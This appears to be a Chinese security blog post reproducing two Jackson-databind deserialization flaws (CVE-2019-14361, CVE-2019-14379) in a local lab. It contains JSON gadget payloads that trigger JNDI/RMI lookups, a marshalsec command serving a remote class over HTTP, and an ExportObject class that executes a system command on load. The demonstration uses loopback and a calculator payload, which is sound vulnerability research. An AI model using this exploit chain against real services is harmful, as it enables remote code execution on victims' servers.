CVE-2019-14361 与 CVE-2019-14379 漏洞复现
7 月 30 日晚收到了推送,得知 Jackson-databind 又出了新的 RCE ,又有大佬找到了新的利用方式。
漏洞分析
根据 Jackson 开发者的 issue ,触发这个 Jackson 漏洞需要满足如下要求,
目标应用接收到不可信客户端发送的 JSON 数据 目标应用使用多态类型处理方式来处理 java.lang.Object 类型的属性; 在该漏洞中就是依赖的第三方 jar 包有点多(感觉在实际利用过程中能遇到这些个库也挺巧的)
环境搭建
本文中用到的第三方库有: jackson-annotations-2.9.8 jackson-core-2.9.8 jackson-databind-2.9.8 ehcache-2.9.1 slf4j-api-1.7.7 logback-core-1.3.0-alpha4 slf4j-simple-1.7.21 javax.transaction_1.0.0.0_1-1
在 http://www.mvnrepository.com 上下载即可。
漏洞代码
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import java.lang.Exception;
public class Main {
public static void main(String[] args) {
System.out.println("Mapping");
// 注意,在高版本的 JDK 上存在限制,需要将 com.sun.jndi.rmi.object.trustURLCodebase 的值设置为 true,默认为 false
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// CVE-2019-14361 payload
String jsonStr1 = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"rmi://127.0.0.1:1099/ExportObject\"}]";
// CVE-2019-14379 payload
String jsonStr2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1099/ExportObject\"}}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println("Serializing");
Object obj = null;
try {
// !->此处更换 payload<-!
obj = mapper.readValue(jsonStr1, java.lang.Object.class);
} catch(Exception e) {
e.printStackTrace();
}
System.out.println("objectified");
try {
mapper.writeValueAsString(obj);
} catch(Exception e) {
e.printStackTrace();
}
try {
System.out.println("stringified: " + mapper.writeValueAsString(obj));
} catch(Exception e)
{
e.printStackTrace();
}
}
}
构建步骤
本文在 IDEA 上生成项目
- 新建 java Commandline 项目
- 将上述代码复制进
Main
函数 - 单击红框中的图标,进入项目结构设置
- 将下载好的外部库导入到项目中 具体导入步骤可以参考我的这篇文章,再此不做赘述 https://www.secquan.org/BugWarning/1069944
攻击流程
- 开启 RMI 服务 为了方便,我们可以使用 marshalsec 这款神器,可以快速开启 RMI 和 LDAP 服务。当然你需要下载源码包,使用 maven 编译。下载链接: https://github.com/mbechler/marshalsec ,下载到本地后,利用
mvn clean package -DskipTests
即可编译,编译的结果如下:
开启 RMI 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8000/#ExportObject
注:
:# 后面填写你的恶意类的类名,它会自动绑定 URI,rmi 默认端口号为 1099 。
- 编译 ExportObject.java
ExportObject.java 代码内容如下:
package com.by.rmi;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e = new Exception(result);
throw e;
}
public static void main(String[] args) throws Exception {
ExportObject e = new ExportObject();
}
}
注
:上述代码的功能为在 mac 平台上弹出计算器,如更换平台,请自行更换 exec 函数中的内容。
编译成 class 文件: javac ExportObject.java
- 在生成 ExportObject.class 文件夹下执行 python2 -m SimpleHTTPServer 8000,在本地启动 HTTP 服务。
CVE-2019-14361 测试
将 POC 中的 payload 更换为 jsonStr1,并编译运行,结果如下:
CVE-2019-14379 测试
将 POC 中的 payload 更换为 jsonStr2,并编译运行,结果如下:
相应的,rmi 服务运行的截图如下:
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论